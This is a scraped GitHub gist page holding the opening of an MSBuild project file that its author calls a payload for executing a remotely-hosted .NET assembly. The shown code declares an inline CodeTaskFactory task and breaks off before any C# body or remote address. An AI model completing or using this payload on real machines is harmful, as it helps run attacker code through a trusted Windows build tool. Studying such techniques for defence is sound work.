Skip to content

Instantly share code, notes, and snippets.

G0ldenGunSec

Block or report user

Report or block G0ldenGunSec

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@G0ldenGunSec
G0ldenGunSec / msBuildDemo.xml
Last active Jul 3, 2019
MSBuild payload used to execute a remotely-hosted .net assembly
View msBuildDemo.xml
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="DemoClass">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
You can’t perform that action at this time.